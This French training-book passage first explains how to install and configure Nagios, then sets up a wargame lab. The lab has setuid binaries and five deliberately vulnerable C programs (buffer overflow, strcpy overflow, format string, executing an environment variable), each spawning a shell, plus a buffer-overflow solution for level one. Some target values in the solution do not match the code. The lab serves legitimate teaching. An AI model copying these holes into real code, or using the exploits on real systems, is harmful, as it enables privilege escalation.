fasm#aptitude install libglib2.0-dev
Nous arrivons enfin la partie propre de Nagios, le tlchargement et linstallation du paquet
nagios.
La commande wget va nous permettre de tlecharger le paquet voulu sur le site SourceForge.
Nous pourrons choisir le dernier paquet en date.
Ce dernier est un fichier compress en tar.gz, ltape suivante sera donc de dcompresser ce
fichier (tar -xzf : pour plus dinformation sur cette commande, nous pourrons aller voir le man
sur notre machine Linux).
Une fois ce fichier dcompress, nous pourrons, grce la commande ls, visualiser les
fichiers de Nagios. Nous trouverons un fichier README qui explique comment installer le
paquet.
Cest partir des informations de ce fichier README que nous excuterons les commandes
suivantes :
fasm#wget http://prdownloads.sourceforge.net/sourceforge/nagios/
nagios-3.3.1.tar.gz
fasm#tar -xzf nagios-3.3.1.tar.gz
fasm#cd nagios
fasm#./configure --prefix=/usr/local/nagios --with-nagios-
user=nagios --with-nagios-group=nagios --with-command-user=nagios
--with-command-group=nagcmd --enable-event-broker --enable-
nanosleep --enable-embedded-perl -with-perlcache
fasm#make all
fasm#make install
fasm#make install-init
fasm#make install-commandmode
fasm#make install-config
fasm#make install-webconf
Cest une installation assez classique avec dans un premier temps le ./configure qui va
permettre de vrifier notre configuration. Les options donnes ci-dessus sont aussi extraites de
la documentation Nagios.
Nous pouvons ensuite effectuer les diffrentes make ncessaires cette installation.
Nous allons passer la cration du fichier dutilisateur :
htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin
chown nagios:nagcmd /usr/local/nagios/etc/htpasswd.users


Nagios utilise Apache que nous avons vu dans une section prcdente. Nous ajouterons donc
lutilisateur apache au groupe nagcmd pour pouvoir excuter les commandes externes de
Nagios depuis linterface (ex : nagcmd:x:9001:www-data).
adduser www-data nagcmd
/etc/init.d/apache2 restart
Si nous souhaitons que Nagios dmarre chaque redmarrage de la machine, nous devons
lindiquer la machine grce la commande update-rc.
chmod +x /etc/init.d/nagios
update-rc.d nagios defaults
Nous pouvons maintenant dmarrer Nagios.
/etc/init.d/nagios start
La dernire tape va consister installer les plug-ins manquants :
fasm#apt-get install libgnutls-dev libmysqlclient15-dev libssl-dev
libsnmp-perl libkrb5-dev libldap2-dev libsnmp-dev libnet-snmp-perl
gawk libwrap0-dev libmcrypt-dev fping snmp gettext smbclient
dnsutils
fasm#wget
http://prdownloads.sourceforge.net/sourceforge/nagiosplug/nagios-
plugins-1.4.15.tar.gz
fasm#tar -xzf nagios-plugins-1.4.15.tar.gz
fasm#cd nagios-plugins-1.4.15/
fasm#./configure --with-nagios-user=nagios --with-nagios-
group=nagios --enable-libtap --enable-extra-opts -enable-perl-
modules
fasm#make
fasm#make install
De la mme manire que prcdemment, nous allons dabord aller rechercher le paquet des
plug-ins Nagios sur le site de SourceForge et lancer notre ./configure puis le make et le make
install.
b. Configuration
Nous allons copier ceci dans le fichier httpd.conf. Ces fichiers sont repris de la documentation
officielle de Nagios sur le site http://www.nagios.org/ :
ScriptAlias /nagios/cgi-bin /usr/local/nagios/sbin

<Directory "/usr/local/nagios/sbin">
Options ExecCGI
AllowOverride None
Order allow,deny
Allow from all
AuthName "Nagios Access"
AuthType Basic
AuthUserFile /usr/local/nagios/etc/htpasswd.users
Require valid-user
</Directory>

Alias /nagios /usr/local/nagios/share

<Directory "/usr/local/nagios/share">
Options None
AllowOverride None
Order allow,deny
Allow from all
AuthName "Nagios Access"
AuthType Basic
AuthUserFile /usr/local/nagios/etc/htpasswd.users
Require valid-user
</Directory>
Un fichier htacces va nous tre ncessaire afin de pouvoir scuriser par la demande dun login
et dun mot de passe laccs Nagios :
htpasswd -c /usr/local/nagios/etc/htpasswd.users adminnagios
Nous devons ajouter un utilisateur, nous mettrons bien entendu la place de <username> le
nom de lutilisateur souhait :
htpasswd /usr/local/nagios/etc/htpasswd.users <username>
Comme nous venons de modifier les fichiers de configuration, nous allons devoir relancer les
services Apache et Nagios.
fasm#invoke-rc.d apache2 reload
fasm#service httpd restart
fasm#invoke-rc.d nagios reload
fasm#service nagios restart
Notre configuration manuelle est termine : nous pouvons ds prsent utiliser Nagios. Il
existe bien sr un moyen plus simple dinstallation de Nagios, si notre systme le permet : les
dpts.
2. Nagios avec les dpts
Si notre machine est une Debian ou une Ubuntu, la commande aptitude ou apt-get nous
simplifiera grandement les choses. Pour les autres distributions, nous devrons nous rfrer la
documentation pour linstallation de nouveaux paquets.
fasm#aptitude install nagios3
Dans ce cas de figure, le paquet Nagios fait un lien symbolique de
/etc/apache2/conf.d/nagios.conf vers /etc/nagios3/apache.conf.
La configuration dApache devra ensuite tre recharge (reload) laide de la commande
suivante :
sudo /etc/init.d/apache2 reload
Comme pour linstallation manuelle, la premire chose faire est dajouter des utilisateurs qui
pourront se connecter linterface web de Nagios. Les droits daccs de linterface web se
grent avec htpasswd qui est un utilitaire fourni avec le serveur Apache.
a. Configuration dApache
Nous pouvons vrifier, ou ajouter le cas chant, dans le fichier /etc/nagios3/apache2.conf les
lignes suivantes :
ScriptAlias /cgibin/nagios3 /usr/lib/cgibin/nagios3
ScriptAlias /nagios3/cgibin /usr/lib/cgibin/nagios3

<DirectoryMatch (/usr/share/nagios3/htdocs|/usr/lib/cgibin/nagios3)>
Options FollowSymLinks
DirectoryIndex index.html
AllowOverride AuthConfig
Order Allow,Deny
Allow From All
AuthName "Nagios Access"
AuthType Basic
AuthUserFile /etc/nagios3/htpasswd.users
require validuser
</DirectoryMatch>
La configuration suivante, comme pour linstallation manuelle, est tire de la documentation
officielle de Nagios.
Lajout des utilisateurs se fait de la mme manire.
fasm#htpasswd -c /etc/nagios3/htpasswd.users nagiosadmin
Nous pouvons maintenant lancer notre navigateur web favori et tester le fonctionnement de
Nagios. LURL saisir est la suivante :
http://localhost/nagios3
Puis log : nagiosadmin
Puis mdp : demander lors de linstallation



b. Configurer Nagios pour le rseau LAN
La configuration par dfaut se trouve dans le fichier /etc/nagios3/conf.d/generic-
host_nagios.cfg.
Elle dfinit les paramtres par dfaut dun host, paramtres utiliss au moment du dmarrage
et redmarrage de Nagios :
# Generic host definition template - This is NOT a real host, just
a template!
define host{
name generic-host ; The
name of this host template
notifications_enabled 1 ; Host
notifications are enabled
event_handler_enabled 1 ; Host
event handler is enabled
flap_detection_enabled 1 ; Flap
detection is enabled
failure_prediction_enabled 1 ; Failure
prediction is enabled
process_perf_data 1 ; Process
performance data
retain_status_information 1 ; Retain
status information across program restarts
retain_nonstatus_information 1 ; Retain
non-status information across program restarts
check_command check-host-alive
max_check_attempts 10
notification_interval 0
notification_period 24x7
notification_options d,u,r
contact_groups admins
register
}
Si nous ne configurons que ces fichiers, le check-host-alive (la vrification que les hosts,
cest--dire les clients, sont en marche) ne fonctionne pas ; il nous faudra aussi au moins un
service (service.cfg) configur par machine. Ce service utilisant le protocole ICMP et plus
particulirement le Ping, il est donc ncessaire de vrifier que le service Ping est dfini pour
chaque client.
Dans la partie par dfaut de ce fichier generic-hosts_nagios2.cfg, les notifications sont
actives au dmarrage.
Nous allons devoir crer un fichier par machine puis nous ajouterons la passerelle (gateway)
pour dfinir les diffrentes machines virtuelles correspondant larchitecture que nous avons
cre prcdemment (vm_ftp, vm_web, vm_vpn...) ( adapter).
Nous devrons donc :
Crer le fichier /etc/nagios3/conf.d/host-gateway_nagios2.cfg et y placer les lignes
suivantes :
# a host definition for the gateway of the default route
define host {
host_name gateway
alias Default Gateway
address xxx.xxx.xxx.xxx
use generic-host
}
Ajouter le service de vrification par Ping, dans
/etc/nagios3/conf.d/services_nagios2.cfg :
define service {
hostgroup_name ping-servers
service_description PING
check_command check_ping!100.0,20%!500.0,60%
use generic-service
notification_interval 0
}
Nous pouvons activer le service test Ping pour lhte gateway ; dans le fichier
/etc/nagios3/conf.d/hostgroups_nagios2.cfg :
define hostgroup {
hostgroup_name ping-servers
alias Pingable servers
members gateway
}
La configuration tant enregistre, nous pouvons la tester.
Vrifions les fichiers de configuration :
nagios3 -v /etc/nagios3/nagios.cfg
Rechargeons les fichiers de configuration Nagios :
/etc/init.d/nagios3 reload
ou
service nagios3 reload
Nous pouvons maintenant retourner linterface web et vrifier que le systme dtecte bien
notre configuration. Un temps dattente est ncessaire ; nous devons dans certains cas attendre
plusieurs minutes mais nous nhsiterons pas recharger rgulirement la page pour effectuer
cette vrification.
Ajoutons maintenant, toujours dans le fichier prcdent, un groupe pour les routeurs :
# La liste de nos routeurs
define hostgroup {
hostgroup_name router-servers
alias Router Servers
members gateway
}
Si nous souhaitons changer limage (icon) de cette passerelle dans le Status Map de
linterface web de Nagios3, nous devons diter le fichier
/etc/nagios3/conf.d/extinfo_nagios2.cfg et ajouter les lignes suivantes :
define hostextinfo{
hostgroup_name router-servers
notes Router servers
#/usr/share/nagios/htdocs/images/logos/base/xxxxxxxx.png
icon_image base/xxxxxxxx.png
icon_image_alt Router
vrml_image xxxxxxxx.png
statusmap_image base/xxxxxxxx40.png
}
Si nous souhaitons ajouter un routeur switch1, nous devons :
Crer le fichier /etc/nagios3/conf.d/host-lynek_nagios2.cfg et y placer les lignes
suivantes :
define host{
use generic-host ; quel patron?
host_name switch1 ;nom du switch
alias Switch
address xxx.xxx.xxx.xxx
}
Nous pouvons ajouter une station station1 ou tout autre nom de type Debian connect
switch1. Nous devrons alors :
Crer le fichier /etc/nagios3/conf.d/host-station1_nagios2.cfg et y placer les lignes
suivantes :
define host{
use generic-host ;quel patron
host_name station1 ;nom de la machine
alias Debian station
address xxx.xxx.xxx.xxx
parents switch1
}
Activons le service test ping pour cette machine (vu prcdemment).
Activons le service test http pour cette machine si elle est serveur HTTP.
Crons un groupe pour les stations Debian dans le fichier
/etc/nagios3/conf.d/hostgroups_nagios2.cfg.
## liste de nos VM debian
define hostgroup {
hostgroup_name VM_Debian
alias VM Debian
members station1
}
Si nous souhaitons crer de nouvelles icnes pour dautres machines (Debian, Windows XP,
Vista), il faut :
Vrifier que les paquetages libgd-tools et netpbm sont installs.
Excuter le script shell genicons.sh suivant sur une image Gif nexcdant pas 60
pixels.
#!/bin/bash
path="/usr/bin"
echo "Usage : $0 img1_sans_extension [img2 ...]"
for arg
do
if [ -f "$arg" ]; then
echo converting $arg
arg="$(echo $arg | sed s/\.gif$//)"
$path/giftopnm $arg.gif > $arg.pnm
$path/pnmtopng -transparent rgb:ff/ff/ff $arg.pnm >
$arg.png
$path/pnmtojpeg -quality=100 -optimize -smooth=0
$arg.pnm > $arg.jpg
$path/pngtogd2 $arg.png $arg.gd2 0 1
fi
done
rm -f *.pnm
On obtient ainsi 4 fichiers copier dans le rpertoire
/usr/share/nagios/htdocs/images/logos/base.
Slectionnons son image (icon) dans le Status Map de linterface web de Nagios dans le
fichier /etc/nagios3/conf.d/extinfo_nagios2.cfg et ajoutons les lignes suivantes :
define hostextinfo{
hostgroup_name VM_debian
notes VM debian
# notes_url
http://webserver.localhost.localdomain/hostinfo.pl?host=netware1
#/usr/share/nagios3/htdocs/images/logos/base/.....png
icon_image base/debian.png
icon_image_alt Debian GNU/Linux
vrml_image debian.png
statusmap_image base/debian.gd2
}
Si nous souhaitons ajouter des machines Windows XP, il faut :
Ajouter un groupe xp-servers dans le fichier
/etc/nagios3/conf.d/hostgroups_nagios2.cfg.
Ajouter aussi ce groupe xp-servers dans le fichier
/etc/nagios3/conf.d/extinfo_nagios2.cfg.
Crer les fichiers images pour ce type de station.
Crer le fichier /etc/nagios3/conf.d/host-stationxp1_nagios2.cfg et y placer les lignes
suivantes :
define host{
use generic-host ; quel patron?
host_name stationxp1 ; nom de la machine
alias Windows XP Station
address xxx.xxx.xxx.xxx
parents xxxxxx
}
Ajouter la station dans le service Ping et le service HTTP si ncessaire...
c. Configurer Nagios pour le rseau WAN
Pour ajouter une passerelle "gatewaykoala" par exemple , nous prendrons bien sr le nom que
nous voulons, aprs le bloc gateway que nous avons cr plus haut, il va falloir :
Crer le fichier /etc/nagios3/conf.d/host-gatewaykoala_nagios2.cfg.
Y dclarer un hte "gatewaykoala" dadresse "X.X.X.X" en prcisant quil est plac
aprs gateway en ajoutant la ligne parents gateway.
Ne pas ajouter ce routeur dans le service Ping (il nest pas configur pour rpondre).
Nous pouvons ajouter des stations aprs la passerelle gatewaykoala. Pour cela, il faut :
Crer le fichier /etc/nagios2/conf.d/host-fasm_nagios2.cfg.
Y dclarer un hte "fasm" dadresse "XXX.XXX.XXX.XXX" en prcisant quil est
plac aprs "gatewaykoala".
Accder ce serveur HTTP, en utilisant le port 8000 dont le service Nagios nexiste
pas encore.
Ajouter le service "http:8000" (paragraphe suivant).
Nous pouvons maintenant activer les nouveaux services.
Nous configurerons le monitoring de services ne ncessitant pas dautres plug-ins que ceux
installs par dfaut avec Nagios.
Pour ajouter le service de test "http:8000", nous suivrons cette procdure dcrite dans la
documentation :
Tester la commande :
/usr/lib/nagios/plugins/check_http -p 8000 -I XXX.XXX.XXX.XXX
Voir --help pour laide en ligne.
Le rsultat devrait tre : HTTP OK : HTTP/1.1 200 OK - ...
Ajouter les lignes suivantes dans le fichier /etc/nagios2/conf.d/service_nagios2.cfg :
define service {
hostgroup_name http-servers8000
service_description HTTP8000
check_command check_http!-p 8000
use generic-service
notification_interval 0 ; set > 0 if you want to
be renotified
}
Crer un nouveau groupe pour cette station dans le fichier
/etc/nagios3/conf.d/hostgroups_nagios2.cfg :
define hostgroup {
hostgroup_name http-servers8000
alias http8000
members fasm
}
Tester ce nouveau service.
Pour ajouter le service de test "dhcp", connaissant notre serveur DHCP ou aprs avoir install
un serveur DHCP sur localhost, nous procderons comme suit :
Tester la commande :
/usr/lib/nagios/plugins/check_dhcp -s XXXXXXX -i eth0
Le rsultat pourrait tre : "Erreur: Impossible de connecter le socket linterface eth0.
Vrifiez vos droits... " ou "OK: Reu 1 DHCPOFFER(s), bail maximum = 43200 sec.
Ajouter les lignes suivantes dans le fichier /etc/nagios3/conf.d/service_nagios2.cfg :
define service {
hostgroup_name dhcp-servers
service_description DHCP
check_command check_dhcp
use generic-service
notification_interval 0 ; set > 0 if you want to
be renotified
}
Crer un nouveau groupe pour cette station dans le fichier
/etc/nagios2/conf.d/hostgroups_nagios2.cfg :
define hostgroup {
hostgroup_name dhcp-servers
alias DHCP Servers
members xxxxxxxxx,yyyyyyy
}
Tester ce nouveau service. Il est peut-tre ncessaire de donner plus de droits
Nagios.
Le SNMP (Simple Network Management Protocol) est un protocole qui va permettre aux
administrateurs rseau de diagnostiquer les problmes rseau et de grer les quipements
rseau.
Pour tester le plug-in SNMP, nous pouvons effectuer les commandes suivantes :
/usr/lib/nagios/plugins/check_snmp -H gateway -C public -o
1.3.6.1.2.1.1.1.0 ou system.sysDescr.0
/usr/lib/nagios/plugins/check_snmp -H gateway -C public -o
interfaces.ifTable.ifEntry.ifDescr.1 ou 1.3.6.1.2.1.2.2.1.2.1
SNMP OK - loopback | IF-MIB::ifDescr.1=loopback
Complter les fichiers services.cfg et commands.cfg afin de tester les services
disponibles sur une station Linux, la station Nagios, un routeur ADSL, ainsi que tous
les services Ping.
Dans le fichier commands.cfg, dfinir les commandes excuter pour tester un
service. Lensemble de ces commandes est prsent sous forme dexcutable dans le
rpertoire plugin de Nagios. On peut donc tester en ligne de commande si les
paramtres associs aux commandes fonctionnent. De mme, on obtient laide relative
cette commande grce loption :
-h (ex: check_ping -h)
Si par exemple nous souhaitons tester le service avec SNMPGet (SNMPGet tant une
commande du protocole SNMP qui permet de faire une demande un priphrique), nous
ajouterons dans commands.cfg :
define command{
command_name check_snmp
command_line $USER1$/check_snmp -H $HOSTADDRESS$ -C
$ARG1$ -o $ARG2$
}
Deux solutions soffrent nous pour tester le service SNMP avec check_snmp :
Soit nous indiquons en dur les paramtres de la fonction check_snmp.
Soit nous indiquons les paramtres utiliser et ces derniers seront crits dans le fichier
services.cfg.
Certains sont entrs en dur, comme ladresse de lhte. Dautres seront entrer en
complment de la commande, comme ARG1 et ARG2, cest--dire deux arguments que nous
indiquerons aprs la commande, les arguments 1 et 2.
Il nous faut configurer des commandes non dfinies dans commands.cfg mais prsentes dans
le rpertoire des plug-ins. Ainsi, on rajoute la dfinition de check_ssh, check_daytime et
check_swap (voir fichier commands.cfg).
Dans le fichier services.cfg, nous associons aux htes dj dfinis le service que lon
souhaite tester ainsi que les arguments ncessaires son utilisation. Exemple du
SNMPGet dune station :
define service{
use generic-service ; Name of service
template to use
hostgroup_name gateway
service_description SNMP
notification_interval 240
check_command check_snmp!public!1.3.6.1.2.1.2.2.1.2.1
}
Nous configurons ici lhte sur lequel nous testons le service, les priodes de test et les
priodes de notification de la commande excuter avec ses paramtres (ceux non rentrs en
dur).
Les arguments de la commande sont spars par des "!". Dans le cas du SNMPget, largument
1 correspondant ARG1 dans commands.cfg est public et largument 2 (ARG2) est
1.3.6.1.2.1.2.2.1.2.1. Ces paramtres dpendent de la commande excute.
Les chiffres ainsi dclars 1.3.6.1.2.1.2.2.1.2.1 sont des OID. Les OID sont des identifiants
universels, reprsents sous la forme dune suite dentiers. Ils sont organiss sous forme
hirarchique. Ainsi, seul lorganisme 1.2.3 peut dire quelle est la signification de lOID
1.2.3.4. Ils ont t dfinis dans une recommandation de lInternational Telecommunication
Union.
Nous pourrons trouver de plus amples informations sur ce site :
http://www.alvestrand.no/objectid/top.html
Ainsi, pour chacune des stations prcdemment dfinies, nous dfinissons les services tester.
d. Utilisation de NSClient
NSClient est un excutable installer sous Windows qui va permettre de surveiller les
services disponibles sur la machine.
Nous devrons donc :
Utiliser le serveur NSClient installer sur la machine Windows, ainsi que le plug-in
check_nt, disponible avec NSClient, afin dinterroger le serveur.
Complter les fichiers services.cfg et checkcommands.cfg en consquence.
Une fois larchive tlcharge puis dcompresse, il nous faut copier les fichiers
pNSClient.exe, pdh.dll, psapi.dll et counters.defs dans le rpertoire o nous souhaitons
installer NSClient (par exemple c:\nsclient). Nous devrons ensuite lancer la commande
pNSClient.exe /install dans un prompt MS-DOS, ce qui installe le service NSClient sur la
machine. Nous pourrons alors dmarrer le service.

Les commandes et extraits de configurations sont tirs de la documentation officielle de
Nagios.
Du ct de la machine Nagios, il faut utiliser le plug-in check_nt qui est fourni dans le fichier
zip et le copier dans le rpertoire des plug-ins de Nagios.
Nous devrons modifier le fichier checkcommands.cfg en y ajoutant les blocs suivants :
Test de la mmoire utilise :
define command{
command_name check_windows_mem
command_line $USER1$/check_nt -H $HOSTADDRESS$ -v
MEMUSE -w $ARG1$ -c $ARG2$
}
Test de lespace disque utilis :
define command{
command_name check_windows_disk
command_line $USER1$/check_nt -H $HOSTADDRESS$ -v
USEDDISKSPACE -l $ARG1$ -w $ARG2$ -c $ARG3$
}
Ajout des blocs suivants dans le fichier services.cfg pour utiliser ces commandes sur la
machine Windows :
Test de la mmoire utilise :
define service{
use generic-service ; Name of service
template to use
host_name Non_de_la_Station
service_description MEMORY USED
is_volatile 0
check_period 24x7
max_check_attempts 3
normal_check_interval 5
retry_check_interval 1
contact_groups Windows
notification_interval 240
notification_period 24x7
notification_options c,r
check_command check,windows_mem!50%!90%
}
Test de lespace disque disponible :
define service{
use generic-service ; Name of
service template to use
host_name Non_de_la_Station
service_description DISK
is_volatile 0
check_period 24x7
max_check_attempts 3
normal_check_interval 5
retry_check_interval 1
contact_groups Windows
notification_interval 240
notification_period 24x7
notification_options c,r
check_command check_windows_disk!c!60%!80%
}
Voil, nous devrions tre capables de grer grce Nagios toutes nos machines virtuelles et
plus.
Conclusion
Notre laboratoire de hacking est prt, nous pouvons ds prsent commencer linstallation de
nos preuves applicatives, sites web et autres afin de pouvoir tester et apprendre les
techniques de hacking en toute lgalit.
Mise en place des preuves
Introduction
Nous allons prsenter dans ce chapitre quelques preuves afin davoir un laboratoire de
hacking minimal et prt lemploi.
Il nous faudra bien sr ensuite crer nos propres preuves afin de nous renouveler et de
pouvoir tester de nouvelles failles, nous devrons donc raliser une veille technologique
constante afin didentifier les nouveauts et de les recrer dans notre laboratoire.
Les preuves proposes ici sont des preuves qui ont t proposes dans diffrents challenges
que nous avons crs, comme pour le hacknowledge-contest (http://www.hacknowledge-
contest.org), ou dans lesquels nous tions challengers.
Certaines preuves viennent aussi des TP de la licence professionnelle CDAISI dite ethical
hacking de luniversit de Valenciennes, en son antenne de Maubeuge, dans laquelle nous
enseignons.
Nous pourrons bien sr retrouver ces preuves sur le web ainsi que leur solution puisque
souvent des write-up , soit les solutions, sont proposes et reprises dans diffrents sites.
Cration de cinq preuves applicatives
1. Configuration de la machine
Une nouvelle machine spcifique pour cette srie dpreuves de type wargame est cre sous
Debian.
Mais quest-ce quune preuve de type wargame ?
Ce sont par exemple cinq preuves qui se suivent et qui sont organises de telle sorte que la
rsolution de la premire preuve permet laccs la deuxime et ainsi de suite.
Mais pour raliser cela, nous avons un premier travail de configuration.
Nous allons commencer par crer un rpertoire /wargame :
fasm# mkdir /wargame
Nous y placerons nos preuves, donc pour ce cas, cinq fichiers binaires et cinq fichiers source.
Nous voulons un rsultat semblable ceci :
challenge1:/home# ls -l /wargame/
total 96
-r-Sr-x--- 1 level2 level1 6970 Jun 29 2010 level1
-r--r----- 1 root level1 530 Jun 29 2010 level1.c
-r-Sr-x--- 1 level3 level2 6679 Jun 29 2010 level2
-r--r----- 1 root level2 341 Jun 29 2010 level2.c
-r-sr-x--- 1 level4 level3 6726 Jun 29 2010 level3
-r--r----- 1 root level3 426 Jun 29 2010 level3.c
-r-Sr-x--- 1 level5 level4 7216 Jun 29 2010 level4
-r--r----- 1 root level4 1037 Jun 29 2010 level4.c
-r-sr-x--- 1 level6 level5 6888 Jun 29 2010 level5
-r--r----- 1 root level5 468 Jun 29 2010 level5.c
Nous dposerons donc dans ce rpertoire ces fichiers que nous verrons plus en dtail dans les
sections suivantes.
Nous devons dabord crer 6 utilisateurs que nous appellerons level1 level6.
Le mot de passe de level1 sera level1 et les mots de passe des autres devront tre plus
compliqus car ce sont ces mots de passe qui devront tre dcouverts au fur et mesure.
Par exemple, on se connecte sous lidentit de level1, nous allons dans /wargame dcouvrir le
binaire correspondant qui sappelle lui aussi level1.
Si nous rsolvons lpreuve, nous devenons level2 et avons donc accs au rpertoire de
level2. Dans ce rpertoire se trouvera un fichier nomm .passwd qui contient le mot de passe
de level2. Nous pourrons ainsi nous connecter en SSH en tant que level2 avec le mot de passe
trouv prcdemment pour accder lpreuve 2.
Nous pouvons donc nous dconnecter et nous reconnecter en level2 et ainsi de suite.
Nous commenons par crer les utilisateurs :
fasm#adduser level1
fasm#adduser level2
fasm#adduser level3
fasm#adduser level4
fasm#adduser level4
fasm#adduser level5
fasm#adduser level6
Les rpertoires correspondant aux diffrents utilisateurs sont crs en mme temps.
Nous placerons partir de level2, dans le rpertoire correspondant, soit /home/level2, un
fichier cach appel .passwd dans lequel nous crirons le mot de passe du level2.
fasm#nano /home/level2/.passwd
Nous y crivons le mot de passe de level2.
Nous donnons ensuite les droits sur ce fichier .passwd :
fasm#chown level2:level2 .passwd
fasm#chmod 400 .passwd
Nous allons nous occuper de voir comment configurer les fichiers que nous placerons par la
suite dans /wargame.
Supposons que nous ayons en notre possession le fichier level1.c et le binaire level1.
fasm#cd /wargame
fasm#chown root:level1 level1.c
fasm#chmod 440 level1.c
fasm#chown level2:level1 level1
fasm#chmod 550 level1
fasm#chmod u+s level1
Le fichier level1.c appartient maintenant au groupe level1 qui a les droits en lecture sur ce
fichier. Lutilisateur qui se connectera en level1 pourra donc lire le contenu du fichier mais
naura pas le droit en criture pour le changer.
Le binaire level1 appartient au level2 et au groupe level1. Le groupe a les droits en lecture et
excution. Lutilisateur level2 a les droits de lecture et dexcution mais en plus le bit s est
mis, cest--dire que si lutilisateur level1 russit exploiter le binaire, il pourra sous certaines
conditions devenir level2 et donc lire le mot de passe de level2 dans /home.level2/.passwd.
Il nous faudra donc faire cette suite de commandes pour chaque fichier en adaptant bien sr
chaque fois suivant le niveau.
Voil, nous avons termin la configuration.
Nous allons maintenant installer le logiciel SSH pour la connexion distance.
fasm#aptitude install openssh-server
Nous devons maintenant crer nos diffrentes preuves et ensuite les dposer dans /wargame
avant de leur donner les droits et appartenances dcrits ci-dessus.
2. Les preuves
Les preuves suivantes ont t proposes dans le premier hacknowledge-contest en 2008 et
sont inspires de diffrents challenges tels que linsomnihack, Genve et des challenges en
ligne.
a. preuve level1
Le fichier level1.c est le suivant :
#include <stdio.h>
#include <stdlib.h>

int main(){
long val=0x41414141;
char buf[20];
printf("========= ENI Challenge Securite ==============\n\n");
printf("La valeur correcte pour 0x41414141 est 0xcafedeca!\n");
printf("Cest bon pour la sante, le cafe deca !\n\n");
printf("Vous trouverez votre bonheur ici: ");
scanf("%24s",&buf);

printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
printf("\n\n");
printf("========= ENI Challenge Securite ==============\n\n");
if(val==0xcafedeca){
seteuid(1001);
system("/bin/sh");
} else {
printf("Sortez!!!!\n");
exit(1);
}

return 0;
}
Nous compilerons le fichier level1.c grce gcc.
fasm#gcc -z stackexec -fno-stack-protector -o level1 level1.c
Nous compilerons les autres fichiers de la mme manire.
b. preuve level2
Le fichier level2.c est le suivant :
#include <stdio.h>
#include <stdlib.h>

int main(){
int (*ret)();
printf("========= ENI Challenge Securite ==============\n\n");
if((ret=getenv("ACISSI"))==NULL){
printf("Donnez quelque chose a executer a la
variable denvironnement ACISSI\n") ;
exit(1);
}

printf("Essaie dexecuter la variable denvironnement
ACISSI!\n");
seteuid(1002);
printf("========= ENI Challenge Securite ==============\n\n");
ret();

return 0;
}
c. preuve level3
Le fichier level3.c est le suivant :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int vuln(char *arg)
{
char buffer[128];
strcpy(buffer,arg);
return 1;
}

int main(int argc, char * argv[]){
char buf[128];
printf("========= ENI Challenge Securite ==============\n\n");
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
seteuid(1003);
vuln(argv[1]);
printf("%s", buf);
printf("========= ENI Challenge Securite ==============\n\n");
return 0;
}
d. preuve level4
Le fichier level4.c est le suivant :
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
printf("========= ENI Challenge Securite ==============\n\n");
if(argc != 2){
printf("usage, le fichier %s va essayer denvoyer
son contenu vers /dev/null\n ",argv[0]);
exit(-1);
}

/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("erreur douverture %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("erreur douverture %s\n", ifile);
exit(-1);
}
e. preuve level5
Le fichier level5.c est le suivant :
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv){
int i = 10;
char buffer[64];
printf("========= ENI Challenge Securite ==============\n\n");
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Changez la valeur de i : 10 -> 400. ");

if(i==500){
printf("YEAH reussi!!\n");
seteuid(1005);
system("/bin/sh");
}

printf("Pas BON!! .... essayez encore\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
printf("========= ENI Challenge Securite ==============\n\n");
return 0;
}
3. Solutions
Notre premier challenge est prt tre utilis.
Pour lapprentissage, il est bien sr prfrable dessayer par soi-mme quelques heures sans
aller voir la solution.
Nous nous connectons donc sur la premire preuve :
fasm$ssh level1@adresse_ip_machine
level1
Avant dexploiter ce programme, il faut comprendre le lien entre le code source, le code
compil et la mmoire.
Ce code est compil, puis excut.
La compilation du code est effectue grce aux commandes gcc vues prcdemment.
Lexcution dun programme, cest la copie du code compil en mmoire, puis son excution.
Les variables initialises, non initialises, les allocations mmoire (malloc(), realloc()) sont
elles aussi copies en mmoire.
Lexcution, cest le parcours rgulier de la mmoire, vu comme un fil directeur qui indique
quoi faire (lire une variable, crire une variable, aller ailleurs sur le fil dexcution, etc.).
Le fil dexcution est, pour simplifier, lendroit o doit se rendre le processeur en mmoire
pour excuter linstruction suivante.
Dans la mmoire, nous retrouvons plusieurs donnes, commencer par le nom du programme
(le fameux argv[0]), et les emplacements des variables, qui sont cte cte.
Pour avoir plus de dtails sur le contenu mmoire, lexcution ou le langage assembleur, nous
nous reporterons au livre Scurit informatique - Ethical Hacking aux ditions ENI.
Nous allons reprendre notre premire preuve.
Dans la mmoire, nous avons donc deux variables contigus, val et buf.
En effet, val et buf sont dclares lune en dessous de lautre dans le programme.
long val=0x41414141;
char buf[20];
buf a 20 octets rservs. Si buf fait plus de 20 octets alors il dborde sur val. Nous navons en
effet ici aucun test pour dfinir si ce que nous allons mettre dans buf est bien infrieur en
longueur 20 octets. Nous pouvons nous rendre compte facilement de ce comportement en
donnant 22 fois la lettre a minuscule lors du lancement de ce programme (a vaut 0x61 en
notation hexadcimale).
Nous constatons que la variable val contient deux 41 et deux 61 prouvant bien quil est
possible de modifier une variable sans la manipuler directement. Une variable dborde sur
une autre, cest donc un buffer overflow .
Le but ici pour valider lpreuve est donc darriver crire ladresse 0xdeadbeef en place de
0x41414141. Nous devons effectuer un buffer overflow qui crasera val.
Les valeurs 0xdeadbeef ne correspondent aucun caractre imprimable. Nous pouvons
toutefois les envoyer via un pipe au programme laide du programme printf (le
programme shell, pas la fonction C) :
Si nous crivons simplement printf AAAAAAAAAAAAAAAAAAAA\xef\ xbe\xad\xde |
./level1, nous arrivons en thorie craser val avec la valeur voulue mais rien ne se passe, le
shell se termine. Nous devons donc empcher que le shell ne se ferme et cela est possible
grce la commande cat.
level1@vm_bof:/wargame$ (printf
AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde; cat) | ./level1
Correct vals value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAA
